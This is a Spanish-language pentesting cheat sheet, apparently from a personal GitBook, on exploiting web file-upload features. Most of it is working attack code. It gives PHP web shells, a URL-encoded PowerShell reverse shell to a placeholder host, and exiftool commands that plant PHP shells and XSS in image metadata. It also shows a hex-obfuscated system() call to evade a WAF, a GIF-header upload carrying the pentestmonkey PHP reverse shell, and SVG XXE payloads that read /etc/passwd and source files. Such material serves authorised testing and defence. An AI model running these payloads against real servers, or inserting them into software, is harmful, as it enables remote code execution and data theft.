> For the complete documentation index, see [llms.txt](https://j4ckie0x17.gitbook.io/notes-pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/file-upload.md).

# File upload

## Tipo de extensiones

| Tipo       | Extension                                                                                                                                                              |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Php        | *.php*, *.php2*, *.php3*, .*php4*, .*php5*, .*php6*, .*php7*, .phps, .*phps*, .*pht*, .*phtm, .phtml*, .*pgif*, *.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module* |
| asap       | *.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml*                                                   |
| perl       | *.pl, .cgi*                                                                                                                                                            |
| jsp        | *.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action*                                                                                                                   |
| Coldfusion | *.cfm, .cfml, .cfc, .dbm*                                                                                                                                              |
| Flash      | .*swf*                                                                                                                                                                 |
| Erlang     | *.yaws*                                                                                                                                                                |

#### PHP código básico Linux

```php
<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
<?php system($_REQUEST['cmd']); ?>
```

#### Poweshell código básico

```powershell
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
```

### Bypass extensiones

1. Comprobar que poniendo mayúsculas y minuscalas: .pHp, .jSp, pHp5 etc.
2. Comprobar que poniendo una extensión de más: file.jpg.php, file.png.pHP

## Exiftool

### Incrustamos un PHP

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' j4ckie.jpg
```

### Incrustamos un XSS

```
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' j4ckie.jpg
```

## Bypass WAF

Si nos encontramos con un firewall que tiene bloqueadas las funciones como system(),exec(),exec\_shell(), lo que podemos hacer es pasarlo a hexadecimal.

**Ejemplo**

```php
<?php system("$_GET['cmd']"); ?>
```

Si pasamos system a hexadecimal, mediante un convertor:

<figure><img src="/files/emvO9lL4nBneH0wb87lc" alt=""><figcaption><p>Convertor de cadena a hexadecimal</p></figcaption></figure>

Le añadimos una x delante de cada numero y un separador con \\:

```php
x73 | x79 | x73 | x74 | x65 | x6d
 s     y     s     t     e     m
<? php"\x73\x79\x73\x74\x65\x6d"("$_REQUEST['cmd']"); ?>
```

#### ¿Cómo saber si un WAF tiene estás funciones no permitidas?

Tenemos que subir el archivo .php con lo siguiente `phpinfo();`

Al hacer la petición tendremos que ir a la sección **Core --> Directive** buscamos **disable\_functions**.

&#x20;

<figure><img src="/files/4axApeomFQZ7oK9PXbJj" alt=""><figcaption><p>disable_functions --> system,exec,shell, shell_exec</p></figcaption></figure>

### PHP getimagesize()

Para los archivos que se suben que validan el archivo con`getimagesize()`es posible ejecutar una shell insertando el atributo comentario a la imagen y guardandolo como .png.php, si no funciona así prueba al revés .php.png.

```php
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' icono.png
mv icono.png file.php.png
```

## GIF Header

También podemos probar de hace run bypass con el header de gif, subimos un gif le dejamos el header "GIF89a;", quitamos la info del gif y ponemos el monkey pentest o la shell.php.

### Ejemplo

```
-----------------------------268587085338655749222889954885
Content-Disposition: form-data; name="file"; 
filename="giphy.php.gif"
Content-Type: image/gif

GIF89a; <-- este es el header necesario para bypasear
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.146.128';
$port = 4443;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
```

## File Upload into XXE

Podemos incluir XML malicioso cuando subimos una imagen SVG, cambiando el contenido de la imagen SVG, por los payloads de abajo:

```
###### passwd ######
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
###### php files ######
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```
